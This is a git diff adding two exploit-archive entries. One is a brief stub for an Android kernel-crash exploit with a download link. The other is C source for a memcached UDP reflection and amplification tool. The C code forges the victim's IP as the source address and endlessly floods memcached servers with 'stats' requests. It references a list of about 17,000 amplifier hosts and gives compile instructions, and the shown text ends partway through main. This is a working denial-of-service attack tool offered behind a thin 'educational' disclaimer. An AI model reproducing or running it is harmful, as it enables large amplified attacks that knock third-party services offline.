diff --git a/exploits/android/dos/44268.txt b/exploits/android/dos/44268.txt new file mode 100644 index 000000000..e063c6b86 --- /dev/null +++ b/exploits/android/dos/44268.txt @@ -0,0 +1,3 @@ +This Exploit allows arbitrary memory writes and reads. Running the specified payload within this package will write to the device's main CPU kernel, causing it to crash. More information about its origins here: http://boosterok.com/blog/broadpwn2/ + +Download: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44268.zip \ No newline at end of file diff --git a/exploits/linux/dos/44264.c b/exploits/linux/dos/44264.c new file mode 100644 index 000000000..1b7a3ce7f --- /dev/null +++ b/exploits/linux/dos/44264.c @@ -0,0 +1,228 @@ +/** +memcached-PoC + +memcached Proof of Concept Amplification via spoofed source UDP packets. Repo includes source code for PoC and approximately 17,000 AMP hosts. + +memcached.c - Source code (https://pastebin.com/raw/ZiUeinae) +memecache-amp-03-05-2018-rd.list - List of memcached servers as of 03-05-2018 (https://pastebin.com/raw/eSCHTTVu) + +Compile: gcc memcached.c -o memecached -pthread + +*Educational and/or testing purposes only. *Use of these tools against an unauthorized party may be unethtical, rude, and even illegal in some countries. + +**/ + +/* + memcache reflection script + greeting: syn, storm, krashed, chrono, spike, niko, disliked + Use with extreme Caution +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#define MAX_PACKET_SIZE 8192 +#define PHI 0x9e3779b9 +static uint32_t Q[4096], c = 362436; +struct list +{ + struct sockaddr_in data; + struct list *next; + struct list *prev; +}; +struct list *head; +volatile int tehport; +volatile int limiter; +volatile unsigned int pps; +volatile unsigned int sleeptime = 100; +struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; }; +void init_rand(uint32_t x) +{ + int i; + Q[0] = x; + Q[1] = x + PHI; + Q[2] = x + PHI + PHI; + for (i = 3; i < 4096; i++) + { + Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; + } +} +uint32_t rand_cmwc(void) +{ + uint64_t t, a = 18782LL; + static uint32_t i = 4095; + uint32_t x, r = 0xfffffffe; + i = (i + 1) & 4095; + t = a * Q[i] + c; + c = (t >> 32); + x = t + c; + if (x < c) { + x++; + c++; + } + return (Q[i] = r - x); +} +unsigned short csum (unsigned short *buf, int nwords) +{ + unsigned long sum = 0; + for (sum = 0; nwords > 0; nwords--) + sum += *buf++; + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + return (unsigned short)(~sum); +} +void setup_ip_header(struct iphdr *iph) +{ + iph->ihl = 5; + iph->version = 4; + iph->tos = 0; + iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 15; + iph->id = htonl(54321); + iph->frag_off = 0; + iph->ttl = MAXTTL; + iph->protocol = IPPROTO_UDP; + iph->check = 0; + iph->saddr = inet_addr("192.168.3.100"); +} +void setup_udp_header(struct udphdr *udph) +{ + udph->source = htons(5678); + udph->dest = htons(11211); + udph->check = 0; + memcpy((void *)udph + sizeof(struct udphdr), "\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n", 15); + udph->len=htons(sizeof(struct udphdr) + 15); +} +void *flood(void *par1) +{ + struct thread_data *td = (struct thread_data *)par1; + char datagram[MAX_PACKET_SIZE]; + struct iphdr *iph = (struct iphdr *)datagram; + struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr); + struct sockaddr_in sin = td->sin; + struct list *list_node = td->list_node; + int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); + if(s < 0){ + fprintf(stderr, "Could not open raw socket.\n"); + exit(-1); + } + init_rand(time(NULL)); + memset(datagram, 0, MAX_PACKET_SIZE); + setup_ip_header(iph); + setup_udp_header(udph); + udph->source = htons(rand() % 65535 - 1026); + iph->saddr = sin.sin_addr.s_addr; + iph->daddr = list_node->data.sin_addr.s_addr; + iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); + int tmp = 1; + const int *val = &tmp; + if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ + fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); + exit(-1); + } + init_rand(time(NULL)); + register unsigned int i; + i = 0; + while(1){ + sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data)); + list_node = list_node->next; + iph->daddr = list_node->data.sin_addr.s_addr; + iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); + iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); + + pps++; + if(i >= limiter) + { + i = 0; + usleep(sleeptime); + } + i++; + } +} +int main(int argc, char *argv[ ]) +{ + if(argc < 6){ + fprintf(stderr, "Invalid parameters!\n"); + fprintf(stdout, "Usage: %s